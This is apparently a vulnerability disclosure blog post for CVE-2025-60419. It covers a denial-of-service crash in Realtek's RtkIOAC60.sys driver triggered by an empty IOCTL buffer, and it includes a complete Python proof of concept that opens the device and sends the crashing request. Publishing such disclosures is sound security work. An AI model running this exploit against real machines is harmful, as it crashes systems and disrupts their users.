Post

CVE-2025-60419: Driver-induced Denial of Service via IOCTL handling

CVE-2025-60419 — a null-pointer dereference DoS in RtkIOAC60.sys triggered by sending an empty IRP buffer to IOCTL_NDISPROT_SET_EVENT, with full PoC.

Introduction: RtkIOAC60.sys is a NDIS Usermode I/O Driver by Realtek Semiconductor Corp. It also contains a DoS vulnerability that can be caused by supplying an empty IRP Buffer for an IOCTL call.

Specific Details: Looking at Ghidra’s pseudo-code for the driver, we can identify the dispatch table and then the IRP_DEVICE_CONTROL function where we can identify individual IOCTL codes and the corresponding functions that are called.

RTKVuln

This specific IOCTL code tries to set an NDIS Event through IVar2 which comes from param_2 + 0x18 offset which is the user controllable IRP buffer.

Sending the buffer leads to a crash.

Commands To Execute:

RTKVuln

PoC Code (In Python):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import win32file
import win32con
import traceback
import datetime

DEVICE_NAME = r"\\.\RTKIOAC60"

ioctl_map = {
    0x12C8C0: "IOCTL_NDISPROT_SET_EVENT",
}

LOG_FILE = "ioctl_test_log.txt"

def log(msg):
    timestamp = datetime.datetime.now().isoformat()
    with open(LOG_FILE, "a") as f:
        f.write(f"[{timestamp}] {msg}\n")
    print(msg)

def test_known_ioctls():
    try:
        handle = win32file.CreateFile(
            DEVICE_NAME,
            win32con.GENERIC_READ | win32con.GENERIC_WRITE,
            0,
            None,
            win32con.OPEN_EXISTING,
            0,
            None
        )
        log(f"Handle to {DEVICE_NAME} opened.")
    except Exception as e:
        log(f"Failed to open device: {e}")
        log(traceback.format_exc())
        return

    for code, name in ioctl_map.items():
        try:
            win32file.DeviceIoControl(handle, code, None, 0, None)
            log(f"{name} (0x{code:08X}) succeeded.")
        except Exception as e:
            log(f"{name} (0x{code:08X}) failed: {e}")
            log(traceback.format_exc())

    try:
        handle.close()
        log("Handle closed successfully.")
    except Exception as e:
        log(f"Failed to close handle: {e}")
        log(traceback.format_exc())

    log("IOCTL testing complete.")

if __name__ == "__main__":
    test_known_ioctls()

Dump File:

RTKVuln

RTKVuln

This post is licensed under CC BY 4.0 by the author.